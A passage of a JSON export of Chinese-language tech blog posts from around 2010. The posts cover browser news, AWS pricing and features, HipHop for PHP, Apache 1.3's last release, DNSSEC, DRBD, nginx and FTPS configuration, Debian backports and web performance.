    "body": "以「<a href=\"http://nico.pixnet.net/blog/post/28943646\">銀魂 續.PTA苦情殺到!!</a>」這篇的影音外嵌：\r\n<script src=\"http://ext.pixnet.tv/user/nico/embed/movie/128033416.js\" type=\"text/javascript\"></script>\r\n對應的 video 頁是：\r\n<blockquote><code><a href=\"http://nico.pixnet.net/album/video/128033416\">http://nico.pixnet.net/album/video/128033416</a></code></blockquote>\r\n語法是：\r\n<blockquote><code>\r\n&lt;script src=\"http://ext.pixnet.tv/user/nico/embed/movie/128033416.js\" type=\"text/javascript\"&gt;&lt;/script&gt;\r\n</code></blockquote>",
    "title": "測試？XD"
  },
  {
    "id": "2208",
    "body": "<a href=\"http://www.google.com/\">Google</a> 在 <a href=\"http://googleenterprise.blogspot.com/\">Official Google Enterprise Blog</a> 上宣佈，從今年三月開始，將不會在 <a href=\"http://docs.google.com/\">Google Docs</a> 以及 <a href=\"http://sites.google.com/\">Google Sites</a> 上繼續維護 IE6 的可用性，到時候如果繼續使用 IE6，有可能會有運作異常的情況發生：<a href=\"http://googleenterprise.blogspot.com/2010/01/modern-browsers-for-modern-applications.html\">Modern browsers for modern applications</a>。\r\n\r\n這陣子用 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 3.7a1 (Minefield 版) 中了太多地雷，等下還是下載 3.6 好了...",
    "title": "Google Docs 三月開始將不繼續支援 IE6"
  },
  {
    "id": "2209",
    "body": "<a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 3.6 在今年的 1/21 發表，到現在快兩個禮拜了。看到「<a href=\"http://www.linux-mag.com/cache/7688/1.html\">Firefox 3.6 for Developers</a>」這篇文章以網頁發展者的角度看 Firefox 3.6 的新功能，不過這篇文章講得有點少，官方網站上的介紹比較詳細：「<a href=\"http://www.mozilla.com/firefox/3.6/releasenotes/\">Mozilla Firefox 3.6 Release Notes</a>」。\r\n\r\n對使用者最大的改善就是 <a href=\"http://www.getpersonas.com/\">Personas</a>，這使得換面板樣式不需要再重新啟動 Firefox。安全方面，則是會檢查 plugin 是否有需要更新，主要是針對 <a href=\"http://www.adobe.com/products/flashplayer/\">Flash Player</a> 與 <a href=\"http://java.com/\">Java</a> 的安全更新。\r\n\r\n對開發者而言，主要是增加了不少 HTML5 的新功能，像是 <code>script</code> 標籤的 <code>async</code> 屬性。\r\n\r\n七月應該有機會看到 <a href=\"http://gs.statcounter.com/\">gs.statcounter.com</a> 所統計的 IE 市占率 (Worldwide) 掉到 50% 以下了，一月是 55.25%。",
    "title": "Firefox 3.6 的特性"
  },
  {
    "id": "2210",
    "body": "<a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 除了是這個領域 (<a href=\"http://en.wikipedia.org/wiki/Cloud_computing\">Cloud Computing</a>，<a href=\"http://zh.wikipedia.org/wiki/%E9%9B%B2%E7%AB%AF%E9%81%8B%E7%AE%97\">雲端計算</a>) 的主要發起者之一以外，同時也是領先者。不僅一直開發新功能，同時對已經完善的部份想辦法盡力打壓競爭對手：降價。\r\n\r\n今天看到 AWS 的頻寬費用又降價了，從二月開始的頻寬費用以新價錢計算：「<a href=\"http://aws.typepad.com/aws/2010/02/aws-data-transfer-prices-reduced.html\">AWS Outbound Data Transfer Prices Reduced By $0.02/GB</a>」，outbound 頻寬費用再降 USD$0.02/GB，這次降價包括 <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> 也都在內。依照地區不同，降幅大約是 10% 上下。\r\n\r\n即使服務放在外面 (租用 dedicated hosting)，用 <a href=\"http://aws.amazon.com/s3/\">S3</a> 比起自己建一台有 RAID1 的機器跑 <a href=\"http://nginx.org/\">nginx</a>，大家還是偏好用 S3。如果需要的話還可以上 CloudFront？(像是 <a href=\"http://twitter.com/\">Twitter</a> 與 <a href=\"http://www.plurk.com/\">Plurk</a>)",
    "title": "AWS 頻寬再降價"
  },
  {
    "id": "2211",
    "body": "<a href=\"http://www.facebook.com/\">Facebook</a> 的開發者在「<a href=\"http://www.facebook.com/note.php?note_id=280583813919\">HipHop for PHP: Move Fast</a>」這篇的說明，也就是 HPHPi 計畫。\r\n\r\n這個計畫 Facebook 的團隊花了兩年的時間公開，到現在有 90% 的 PHP server 跑在上面，平均起來比起 well-tuned PHP 還快了 50%。但目前還沒看到 code，而且以文章的說明並不清楚到底採用什麼方式，只有看到這樣解釋：\r\n<blockquote>When using HPHPi you don't need to compile your PHP source code before running it. It's helped us catch bugs in HipHop itself and provides engineers a way to use HipHop without changing how they write PHP.</blockquote>\r\n<strong>Update</strong>：在 developers.facebook.com 上列出 <a href=\"http://developers.facebook.com/hiphop-php/\">HipHop for PHP</a>，不過 github 連結還沒生效。在 <a href=\"http://www.ustream.tv/\">USTREAM</a> 這邊有份大約 40 分鐘的錄影：「<a href=\"http://www.ustream.tv/recorded/4409735\">Facebook Technology Tasting - HipHop for PHP </a>」。",
    "title": "Facebook 的 PHP 加速計畫"
  },
  {
    "id": "2213",
    "body": "由 <a href=\"http://developers.facebook.com/hiphop-php/\">HipHop for PHP</a> project 的幾位帶領者所說明的會議中解釋了不少東西 (在 <a href=\"http://www.ustream.tv/\">USTREAM</a> 有錄影可以觀看：<a href=\"http://www.ustream.tv/recorded/4409735\">Facebook Technology Tasting - HipHop for PHP</a>)。\r\n\r\n前半部份等於是把「<a href=\"http://www.facebook.com/note.php?note_id=280583813919\">HipHop for PHP: Move Fast</a>」重講一次，並且說明他們在不少 case 下可以分析出 variable type，所以不需要用 zval (一般性的變數)。\r\n\r\n比較重要的是後半段的 Q&amp;A 部份。\r\n\r\n就會場所提到的，他們目前跑在 <a href=\"http://httpd.apache.org/\">Apache</a> 1.3 + prefork 上面。有計劃要支援 multithreading，好處是 shared resource 可以共用，像是 database connection，但解法是苦工 (修正所有 thread-safe 的問題)。而既有的 extension (包括他們自己寫的) 則是維持相容，這應該是指維持 PHP extension 介面相容性。\r\n\r\n看起來是整個重寫，但少數功能不支援 (而非想辦法相容)，所以現有的 PHP site 要換上去得先確認是否有用到不支援的功能，以及支援的功能是否正常。",
    "title": "HipHop for PHP 計畫"
  },
  {
    "id": "2214",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 <a href=\"http://httpd.apache.org/\">Apache</a> 1.3 釋出最後一個版本 1.3.42：「<a href=\"http://apache.slashdot.org/story/10/02/03/2052211/The-Final-Release-of-Apache-HTTP-Server-13\">The Final Release of Apache HTTP Server 1.3</a>」，之後只會有 critical security patch。\r\n\r\n雖然 1.3 仍然被許多站台所使用 (像是 <a href=\"http://www.facebook.com/\">Facebook</a> 才剛提到他們仍在使用 1.3 版)，不過看起來 Apache 沒興趣同時維護 1.3、2.0、2.2。\r\n\r\n另外一方面，<a href=\"http://www.lighttpd.net/\">lighttpd</a> 也放出了 1.4.26rc2710 的消息，利用 security issue (<a href=\"http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-0295\">CVE-2010-0295</a>) 準備發佈 1.4.26，而非只有 patch，讓 community 感覺到有在動：「<a href=\"http://blog.lighttpd.net/articles/2010/02/03/pre-release-lighttpd-1-4-26rc1-r2710\">PRE-RELEASE: lighttpd 1.4.26rc1-r2710</a>」。",
    "title": "Apache HTTP Server 1.3 最後一個版本釋出"
  },
  {
    "id": "2215",
    "body": "過年前以及過年期間頗懶散，超過一個禮拜沒更新 blog 了，一發文章居然是講 boardgame...\r\n\r\n要介紹的 <a href=\"http://en.wikipedia.org/wiki/Dominion_%28game%29\">Dominion</a> (<a href=\"http://zh.wikipedia.org/wiki/%E7%9A%87%E8%BC%BF%E7%88%AD%E9%9C%B8\">皇輿爭霸</a>) 這款遊戲，可以參考「<a href=\"http://heyjude0929.pixnet.net/blog/post/23199392\">[遊戲介紹]皇輿爭霸Dominion</a>」這篇文章的介紹以及圖片，裡面有照片可以看到原來盒子的樣子。\r\n\r\n這款遊戲是今年的<a href=\"http://zh.wikipedia.org/wiki/%E5%8F%B0%E5%8C%97%E5%9C%8B%E9%9A%9B%E6%9B%B8%E5%B1%95\">台北國際書展</a>時，表弟在書展會場買了一整組回來，除了原本的以外，還包括了兩組擴充版，總共三個大盒子，在過年期間嫌帶著三個盒子麻煩，就花了五個小時做手工藝...\r\n\r\n首先，這是外觀，顯卡的盒子 XD\r\n\r\n<a href=\"http://www.flickr.com/photos/notexist/4359971920/\"><img src=\"http://farm5.static.flickr.com/4058/4359971920_b2a616ce7a.jpg\" alt=\"\" /></a>\r\n\r\n打開後裡面是長這樣：\r\n\r\n<a href=\"http://www.flickr.com/photos/notexist/4359234115/sizes/m/\"><img src=\"http://farm5.static.flickr.com/4057/4359234115_6c4cbc2fac.jpg\" alt=\"\" /></a>\r\n\r\n依照每份卡片再做紙套並貼上標籤：\r\n\r\n<a href=\"http://www.flickr.com/photos/notexist/4359972392/sizes/m/\"><img src=\"http://farm5.static.flickr.com/4049/4359972392_3267fb818a.jpg\" alt=\"\" /></a>\r\n\r\n太墮落了... XD",
    "title": "手工藝 (Dominion，皇輿爭霸)"
  },
  {
    "id": "2216",
    "body": "年前 <a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 發布了一個重要的功能：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2010/02/09/announcing-consolidated-billing-for-aws-accounts/\">Announcing Consolidated Billing for AWS Accounts</a>」，這項功能提供了單一付款帳戶付多個帳號的費用，可以累計因為頻寬使用量而產生的 discount。\r\n\r\n由於每個帳戶的 Access Key ID + Secret Access Key 就可以存取這個帳戶所有的 S3 檔案，在不同的 project 時分開不同的帳戶會比較理想。但這樣在計費時得分開算，同時帳單也變多。\r\n\r\n也許在付費窗口單一化後會規劃非信用卡付款，對於用量非常大的企業應該會有幫助。",
    "title": "Amazon Web Services 合併記帳"
  },
  {
    "id": "2217",
    "body": "在 trace 某些網站的時候看到 <a href=\"http://httpd.apache.org/\">Apache</a> 送出這樣的 HTTP header 覺得奇怪：\r\n<blockquote><code>X-Pad: avoid browser bug</code></blockquote>\r\n用 <a href=\"http://www.google.com/\">Google</a> 找了一些資料後發現是為了 workaround <a href=\"http://zh.wikipedia.org/wiki/%E7%BD%91%E6%99%AF%E5%AF%BC%E8%88%AA%E8%80%85\">Netscape Navigator</a> 2.x 到 4.0b2 的 bug 而做的：「<a href=\"http://george.hotelling.net/90percent/geekery/why_is_apache_sending_a_xpad_header.php\">Why is Apache sending a \"X-Pad\" header?</a>」。\r\n\r\n在 <a href=\"http://svn.apache.org/viewvc?revision=77941&amp;view=revision\">Revision 77941</a> 可以看到這個 commit log，1997 年 4 月的事情...",
    "title": "HTTP Header 出現 X-Pad"
  },
  {
    "id": "2218",
    "body": "在 <a href=\"http://www.osnews.com/\">OSNews</a> 上看到的，<a href=\"http://www.amazon.com/\">Amazon</a> 與<a href=\"http://www.microsoft.com/\">微軟</a>簽訂專利交叉授權協議：「<a href=\"http://www.osnews.com/story/22909/Microsoft_Amazon_Sign_Patent_Cross-Licensing_Agreement\">Microsoft, Amazon Sign Patent Cross-Licensing Agreement</a>」。微軟的公關稿在「<a href=\"http://www.microsoft.com/presspass/press/2010/feb10/02-22MSAmazonPR.mspx\">Microsoft and Amazon.com Sign Patent Agreement</a>」。\r\n\r\n這次並非對等的交換，雙方除了交叉授權外，Amazon 還付了一筆錢給微軟。\r\n\r\n不同於之前 <a href=\"http://www.novell.com/\">Novell</a> 的情況，有不少人猜測 Amazon 會跟微軟簽授權是因為 Amazon 發現他們所使用的某些技術踩到微軟的專利，而且發現難以避免。由於 Amazon 用了許多 open source 軟體與技術，更使得許多人對這個消息感到不愉快...",
    "title": "Amazon 與 Microsoft 簽定專利交叉授權"
  },
  {
    "id": "2219",
    "body": "<a href=\"http://www.comcast.com/\">Comcast</a> 在官方的 blog 上宣佈，開始提供有 DNSSEC 驗證功能的 DNS resolver：「<a href=\"http://blog.comcast.com/2010/02/dnssec.html\">DNSSEC</a>」，如果要測試的人可以手動改到 75.75.75.75 &amp; 75.75.76.76。\r\n\r\n非 Comcast 用戶沒有辦法參與，丟 query 過去會收到：\r\n<blockquote><code>;; ->>HEADER&lt;&lt;- opcode: QUERY, status: <strong>REFUSED</strong>, id: 54496\r\n;; flags: qr rd ra; QUERY: 0, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0</code></blockquote>",
    "title": "Comcast 實驗 DNSSEC"
  },
  {
    "id": "2220",
    "body": "<a href=\"http://www.kernel.org/\">Linux kernel</a> 2.6.33 是在 <a href=\"http://www.drbd.org/\">DRBD</a> 進入 Kernel Git tree 之後 (去年 12 月左右，參考「<a href=\"http://fghaas.wordpress.com/2009/12/08/were-in/\">We’re in!</a>」這篇文章) 的下一個正式的 release：「<a href=\"http://fghaas.wordpress.com/2010/02/24/linux-2-6-33-released-first-kernel-with-drbd-included/\">Linux 2.6.33 released, first kernel with DRBD included</a>」。\r\n\r\nDRBD 是一套以 block-level replication 為基礎提昇可靠度的軟體，有時候為了方便解釋，也被稱為 Network RAID1，常搭配 <a href=\"http://www.linux-ha.org/\">Heartbeat</a> 或是其後繼的 <a href=\"http://www.clusterlabs.org/\">Pacemaker</a> 偵測節點是否還活著，並在必要時自動切換。\r\n\r\n由於 DRBD 已經出來很久了，而且又是以 <a href=\"http://www.gnu.org/licenses/gpl-2.0.html\">GPLv2</a> 釋出，早期有不少文件介紹如何使用 DRBD 達到 HA，算是一種已經被摸熟的方案。\r\n\r\n另外是 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 的 <a href=\"http://wiki.freebsd.org/HAST\">HAST Project</a> 到一個階段，被 commit 到 -HEAD 了：「<a href=\"http://svn.freebsd.org/viewvc/base?view=revision&amp;revision=204076\">Please welcome HAST - Highly Avalable Storage.</a>」，再加上 block-level replication 會需要 Filesystem 快速恢復的 SUJ (SU+J) 也在一月底放 source code 先讓自願者測試，一口氣補了 HA 領域兩塊重要的缺陷。\r\n\r\n不過依照慣例，新東西都不太穩定... 玩玩還可以，如果是要跑 HA 的話等一兩個版本會比較好。",
    "title": "DRBD 進入 Linux 2.6.33 Kernel，以及 FreeBSD 的 HAST Project"
  },
  {
    "id": "2221",
    "body": "在 <a href=\"http://www.amazon.com/\">Amazon</a> CTO Werner Vogels 的 blog 上提到了 <a href=\"http://aws.amazon.com/simpledb/\">AWS SimpleDB</a> 支援不同程度的 consistency：「<a href=\"http://www.allthingsdistributed.com/2010/02/strong_consistency_simpledb.html\">Choosing Consistency</a>」，在 James Hamilton 也對這件事情發表正面的意見：「<a href=\"http://perspectives.mvdirona.com/2010/02/24/ILoveEventualConsistencyBut.aspx\">I love eventual consistency but...</a>」。正式的技術文件在「<a href=\"http://developer.amazonwebservices.com/connect/entry.jspa?externalID=3572\">Amazon SimpleDB Consistency Enhancements</a>」這邊可以查到。\r\n\r\n<a href=\"http://en.wikipedia.org/wiki/Eventual_consistency\">Eventual consistency</a> 以 <a href=\"http://www.julianbrowne.com/article/viewer/brewers-cap-theorem\">CAP theorem</a> 中的 Consistency 妥協，試著解決 scale 問題，但缺點是 stale read (可能會讀到舊資料)，對要求比較嚴謹的子系統 (像是遊戲內的各種點數，身上帶的金幣之類的) 會很麻煩，而對於要求更嚴謹的系統 (像是商品搶購時的「剩餘數量」) 幾乎無法直接使用。\r\n\r\n像是 Colin Percival 曾經解釋他得在 <a href=\"http://aws.amazon.com/s3/\">S3</a> 與 SimpleDB 上做不少 workaround：「<a href=\"http://www.daemonology.net/blog/2008-12-14-how-tarsnap-uses-aws.html\">How Tarsnap uses Amazon Web Services</a>」以確保資料正確性。\r\n\r\nAWS SimpleDB 這次提供了新的功能，要求寫入時一定要等到 consistent 才 return，將 consistent 的權限放給上層 application 決定，開發者可以自己拿捏。",
    "title": "Amazon SimpleDB 支援不同程度的 Consistency"
  },
  {
    "id": "2222",
    "body": "在 <a href=\"http://simonwillison.net/\">Simon Willison</a> 那邊看到 Eric Lawrence 在 MSDN Blog 上的解釋：「<a href=\"http://blogs.msdn.com/ieinternals/archive/2009/08/20/WinINET-IE-Cookie-Internals-FAQ.aspx\">Internet Explorer Cookie Internals (FAQ)</a>」。Simon Willison 的文章在「<a href=\"http://simonwillison.net/2010/Feb/26/cachebusting/\">Internet Explorer Cookie Internals (FAQ)</a>」這篇內。\r\n\r\n他們討論到 IE 到目前所有版本的 cookie 都不支援 <code>max-age</code> 參數，所以有個避免 MySQL master/slave replication lag 的技巧在 IE 上沒辦法用的很好：當寫入資料時 (例：使用者發表文章)，server 會設定一組 30secs 的 cookie，當 web server 收到這個 cookie 時會用 MySQL master server。\r\n\r\nworkaround 不難做，本來是只有設定 cookie，現在把把 server timestamp 與 signature (用 <a href=\"http://en.wikipedia.org/wiki/HMAC\">HMAC</a>) 都放到 cookie 後就可以了，當 web server 收到後可以驗證並且決定是否要用 master server。\r\n\r\n其他的限制可以看一看留個印象，之後遇到時會比較有機會猜到...",
    "title": "IE 的 Cookie 限制"
  },
  {
    "id": "2223",
    "body": "<a href=\"http://en.wikipedia.org/wiki/HTML5\">HTML5</a> 支援 <code>&lt;video&gt;</code> 標籤，由瀏覽器直接播放影片，不需要透過 <a href=\"http://www.adobe.com/products/flashplayer/\">Flash Player</a>。但因為 <a href=\"http://zh.wikipedia.org/wiki/H.264/MPEG-4_AVC\">H.264</a> 有一堆軟體專利是無法 royalty-free 使用的。\r\n\r\n有人曾經建議 <a href=\"http://www.mozilla.org/\">Mozilla</a> 直接使用系統的 codec 避開這個問題，但 Mozilla 認為這種作法跟 ActiveX 一樣，直接把系統不安全的部份暴露在 Internet 上，當 codec 有漏洞時就會受到影響。(我覺得專利問題還是比較嚴重)\r\n\r\n因為這些原因，Mozilla 選擇內建 <a href=\"http://www.theora.org/\">Theora</a> 而非使用 H.264。最早支援 video tag 的 <a href=\"http://www.opera.com/\">Opera</a> 也是選擇 Theora。\r\n\r\n<del><a href=\"http://www.google.com/\">Google</a></del> 與 <a href=\"http://www.apple.com/\">Apple</a> 手上都有與 H.264 相關的專利可以丟進<a href=\"http://zh.wikipedia.org/wiki/%E4%B8%93%E5%88%A9%E6%B1%A0\">專利池</a>而取得免費使用權，所以 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 以及 <a href=\"http://www.apple.com/safari/\">Safari</a> 都是支援 H.264。\r\n\r\n<strong>Update</strong>：如同 Azel 在 comment 所講的，Google 沒有專利丟到專利池內，而是購買授權。(參考 <a href=\"http://www.mpegla.com/main/programs/AVC/Pages/Licensors.aspx\">AVC/H.264 Licensors</a> 與 <a href=\"http://www.mpegla.com/main/programs/AVC/Pages/Licensees.aspx\">AVC/H.264 Licensees</a> 資訊)\r\n\r\n除了專利問題外，有些人研究 H.264 與 Theora 在技術上到底哪個比較好，如果兩個差不多的話，沒有必要用 H.264 讓別人綁死。\r\n\r\n在 <a href=\"http://www.osnews.com/\">OSNews</a> 的「<a href=\"http://www.osnews.com/story/22930/Comparing_Theora_to_H264\">Comparing Theora to H264</a>」裡講到有三篇測試文章。\r\n\r\n最早的是「<a href=\"http://people.xiph.org/~greg/video/ytcompare/comparison.html\">YouTube / Ogg/Theora comparison</a>」這篇，這篇不是講 H.264，而是 <a href=\"http://www.youtube.com/\">YouTube</a> 使用的 <a href=\"http://zh.wikipedia.org/wiki/H.263\">H.263</a>。這篇文章之前有上過 <a href=\"http://slashdot.org/\">Slashdot</a>，但當時看過以後有個印象而已，因為他用的方法是肉眼，而非科學方法。雖然如此，還是很明顯可以看出來在 500Kbps 以下時 Theora 比 YouTube 的 H.263 好不少。\r\n\r\n最近的兩篇分別是「<a href=\"http://www.streaminglearningcenter.com/articles/ogg-vs-h264---round-one.html\">Ogg vs H264 - Round One</a>」以及「<a href=\"http://keyj.s2000.ws/?p=356\">Video encoder comparison</a>」，後面這篇是我第一次看到有人用科學方法 <a href=\"http://en.wikipedia.org/wiki/Structural_similarity\">SSIM</a> 計算壓縮前後的相似性。不管哪一篇，都可以主觀或客觀的看出來品質上 H.264 大勝 Theora，而壓與解的速度則是反過來。\r\n\r\n不過下面的 comment 提到 Theora 目前真正在開發的不在 trunk 內，而是在其他 branch 下，另外 Theora 如果設定 bitrate，會是 <a href=\"http://en.wikipedia.org/wiki/Constant_bitrate\">CBR</a> mode，品質會比 <a href=\"http://en.wikipedia.org/wiki/Variable_bitrate\">VBR</a> mode 差。實際要比較每個 codec 最好的情況應該要跑 2-pass。\r\n\r\n過幾天應該會有新的 report 出來，到時候再來看差異...",
    "title": "Theora 與 H.264 的畫質差異"
  },
  {
    "id": "2225",
    "body": "花了一些時間翻 <a href=\"http://nginx.org/\">nginx</a> 的文件，有一些地方可以 tune...\r\n\r\n在 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 上可以利用 <code>httpready</code> 把一些事情丟到 kernel module 處理：\r\n<blockquote><code>listen 80 default accept_filter=httpready;</code></blockquote>\r\n<code>httpready</code> 參數必須設定在有 <code>default</code> 的 <code>listen</code> 之上，而且必須在 <code>default</code> 之後，不然會回報設定錯誤。\r\n\r\n<code>server_tokens</code> 也應該關掉，除了 security 理由外，另外一個很簡單的理由是，可以少送 7bytes...：\r\n<blockquote><code>server_tokens off;</code></blockquote>",
    "title": "nginx 的調整"
  },
  {
    "id": "2226",
    "body": "這幾天在 <a href=\"http://www.virtualbox.org/\">VirtualBox</a> 內弄了一台 <a href=\"http://www.debian.org/releases/lenny/\">Debian lenny</a> (x86) 起來玩，想要多熟悉 <a href=\"http://www.debian.org/\">Debian</a> 與 <a href=\"http://tiswww.case.edu/php/chet/bash/bashtop.html\">bash</a> 的風格...\r\n\r\n不過 lenny (5.0.0) 從去年二月到現在也已經過了一年，雖然一直有在更新 (現在是 5.0.4)，但為了穩定性，並不是所有的軟體都有更新。印象中有個計畫是專門解決這個問題的，可以讓你在 <a href=\"http://www.debian.org/releases/stable/\">stable</a> 使用新版，但不是整個系統都換到 <a href=\"http://www.debian.org/releases/testing/\">testing</a> 或 <a href=\"http://www.debian.org/releases/unstable/\">unstable</a>。\r\n\r\n在印象中跟 \"backport\" 這個關鍵字有關，翻了以後找到 <a href=\"http://www.backports.org/\">Debian Backports</a>，看起來就是我要的...\r\n\r\n依照「<a href=\"http://www.backports.org/dokuwiki/doku.php?id=instructions\">instructions [Debian Backports]</a>」操作，直接把 entry 加到 <code>/etc/apt/sources.list</code> 內，用 <code>apt-get update</code> 更新一次，這時候會出現不認得 public key，不管他直接 <code>apt-get install debian-backports-keyring</code> 就收工了。測過沒問題後，就在「<a href=\"http://www.backports.org/debian/README.mirrors.html\">Backports.org worldwide mirror sites</a>」這邊找亞洲區的 mirror site，看起來只有日本有做，改過去再測一次 update，沒問題收工...\r\n\r\n由於預設仍然會使用 lenny 內的套件，如果要裝 backport 內的東西，需要用 <code>-t lenny-backports</code> 讓 apt-get 或是 aptitude 知道。\r\n\r\n另外，在「<a href=\"http://backports.deb.at/lenny-backports/\">Diffs between lenny-backports and squeeze</a>」這邊可以看到 <code>lenny-backports</code> 與 <a href=\"http://www.debian.org/releases/squeeze/\">squeeze</a> (目前的 testing) 的差距。",
    "title": "Debian 的 Backports"
  },
  {
    "id": "2227",
    "body": "要從紐約的主機上面拉檔案回台灣，發現 <a href=\"http://en.wikipedia.org/wiki/SSH_file_transfer_protocol\">SFTP</a> 速度只有 20KB/sec，這是因為目前 <a href=\"http://en.wikipedia.org/wiki/Secure_Shell\">SSH</a> 實做的方式對 latency 很敏感，在「<a href=\"http://www.psc.edu/networking/projects/hpn-ssh/\">High Performance SSH/SCP - HPN-SSH</a>」這篇有提到相關的問題以及針對 <a href=\"http://www.openssh.com/\">OpenSSH</a> 的 patch。不過，我想要用 <a href=\"http://www.freebsd.org/doc/handbook/updating-freebsdupdate.html\">freebsd-update</a> 維護系統的 security update，所以我不想動到系統內的 OpenSSH。\r\n\r\n另外一個想法是透過 <a href=\"http://en.wikipedia.org/wiki/FTPS\">FTPS</a> 抓檔案，有不少 server software 都有支援 FTPS。在找 <a href=\"http://www.freshports.org/ftp/bsdftpd-ssl/\">bsdftpd-ssl</a> 的資料時找到以前寫的「<a href=\"http://blog.gslin.org/archives/2007/08/16/1269/\">在 FreeBSD 上支援 SSL 的 ftpd</a>」這篇，結果發現這篇文章是因為當初 bsdftpd-ssl 在 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 上無法編譯而改用 <a href=\"http://www.freshports.org/ftp/ftpd-tls/\">ftpd-tls</a> 所寫的。現在這個問題已經解決了，但找不到之前用 bsdftpd-ssl 所設的設定可以抄，只好再 <code>man ftpd-ssl</code> 看一次參數。\r\n\r\n除了先到 <a href=\"http://www.freebsd.org/ports/\">ports</a> 的 <code>ftp/bsdftpd-ssl</code> 目錄下安裝外，還需要產生 self-signed certification。產生的步驟可以參考「<a href=\"http://www.madboa.com/geek/openssl/\">OpenSSL Command-Line HOWTO</a>」這篇的「<a href=\"http://www.madboa.com/geek/openssl/#cert-self\">How do I generate a self-signed certificate?</a>」這個部份。把 certification 輸出到 <code>/etc/ssl/certs/ftpd.pem</code> (如果目錄不存在則建立一個)，並把檔案權限改成 600 或是 400。\r\n\r\n再來是設定 <code>/etc/rc.conf.local</code> (bsdftpd-ssl 不屬於 system 內建軟體，所以放到 local)，增加兩行：\r\n<blockquote><code>bsdftpd_ssl_enable=\"YES\"\r\nbsdftpd_ssl_flags=\"-D -h -l -p /var/run/ftpd.pid -z secure\"</code></blockquote>\r\n然後用 <code>/usr/local/etc/rc.d/bsdftpd-ssl start</code> 跑起來就可以了。測試時要注意 active 與 passive 以及防火牆的設定，在 debug 時除了錯誤訊息外，可以用 <code>sockstat | grep ftpd</code> 以及 <a href=\"http://www.tcpdump.org/\">tcpdump</a> 觀察。\r\n\r\n實際抓一個 500MB 的檔案，到最後面可以跑到 295KB/sec，比起 SFTP 快上不少。",
    "title": "bsdftpd-ssl 的設定"
  },
  {
    "id": "2228",
    "body": "這次主要是把之前用 <a href=\"http://jquery.com/\">jQuery</a> 1.2.6 的需求改寫，改用 <code>getElementsByClassName()</code>、<code>getElementsByTagName()</code> 以及 <code>getElementById()</code> 取得元素，然後用 <code>.innerHTML</code> 直接換掉內容。\r\n\r\n由於這次改寫避免使用 <code>unsafeWindow</code> 以及複雜的 <code>GM_*</code> 函式，在 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 除了遇到一個小問題之外 (可以寫一段 code workaround)，目前跑起來還蠻正常的。\r\n\r\n參考：「<a href=\"http://userscripts.org/scripts/show/12267\">Wretch Album Expander</a>」以及 <a href=\"http://github.com/\">GitHub</a> 上的「<a href=\"http://github.com/gslin/albumexpander\">gslin's albumexpander</a>」。",
    "title": "改寫 wretch-albumexpander.js (無名小站相簿展開程式)"
  },
  {
    "id": "2230",
    "body": "<a href=\"http://stevesouders.com/\">Steve Souders</a> 開了一個「<a href=\"http://stevesouders.com/p3pc/\">Performance of 3rd Party Content</a>」，分析 3rd party script 的效能。目前已經分析了四個 js。\r\n\r\n看完四個 js 的分析後，可以看出來一些 pattern：\r\n<ul>\r\n\t<li>用 async script。<a href=\"http://www.google.com/\">Google</a> 曾經介紹 <a href=\"http://www.google.com/analytics/\">Google Analytics</a> 可以使用 async script：「<a href=\"http://googlecode.blogspot.com/2009/12/google-analytics-launches-asynchronous.html\">Google Analytics Launches Asynchronous Tracking</a>」。</li>\r\n\t<li>當使用 async script 時無法使用 <code>document.write</code> (會有奇怪的結果)，就算不是 async script 也應該儘量避免使用。常見的方法是建立一個帶有 <code>id</code> 的 <code>div</code>，然後在 script 內用 <code>document.getElementById()</code> 或是等價的方式取得後在裡面插入元素，或是直接修改 <code>innerHTML</code>。</li>\r\n\t<li>用 <code>div</code> 再修改的模式時，如果可以先確定 <code>div</code> 的大小，最好在 <code>class</code> 與對應的 CSS 上先定義 (像是廣告的版位)，可以避免頁面 re-layout。</li>\r\n\t<li>在 <code>Cache-Control</code> 內設定夠長的 max-age (尤其是幾乎不會改動的圖片)。</li>\r\n\t<li>如果是 tracking 機制，應該傳回 204 而非 200。</li>\r\n</ul>\r\n這個計畫應該還會再繼續分析，有興趣的人可以訂 RSS 看。",
    "title": "P3PC (Performance of 3rd Party Content)"
  },
  {
    "id": "2231",
    "body": "剛剛跑 <a href=\"http://www.webpagetest.org/\">WebPagetest</a> 才發現 <a href=\"http://wordpress.org/\">WordPress</a> 把內建的 gzip 的功能拿掉了 (差不多拿掉兩年了)，所以第一個 request 不會被壓縮：「<a href=\"http://www.webpagetest.org/result/100320_64H9/\">Web page performance test results for http://blog.gslin.org/ Test completed - 03/19/10 22:24:51 from Dulles, VA - 1.5Mbps ADSL</a>」。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/4446581693/\"><img src=\"http://farm3.static.flickr.com/2757/4446581693_335bc27dd2.jpg\" alt=\"\" /></a>\r\n\r\n可以在 <a href=\"http://codex.wordpress.org/\">WordPress Codex</a> 上看到說明以及建議的解法：「<a href=\"http://codex.wordpress.org/Output_Compression\">Output Compression</a>」，不過在 <a href=\"http://www.sharkspace.com/\">SharkSpace</a> 的主機上用 <code>.htaccess</code> 的方式完全沒效果，還不曉得是什麼問題...\r\n\r\n由於首頁的 request 不壓縮與壓縮會有 40KB 以上的差距 (從 63KB 到 18KB)，能夠解決 <a href=\"http://www.php.net/\">PHP</a> 輸出的部份其實就解的差不多了，在找了 WordPress 的 Plugin 後，目前是裝 <a href=\"http://wordpress.org/extend/plugins/gzip-pages/\">GZIP Output</a>，目前看起來沒什麼問題...",
    "title": "WordPress 的 gzip 支援"
  },
  {
    "id": "2233",
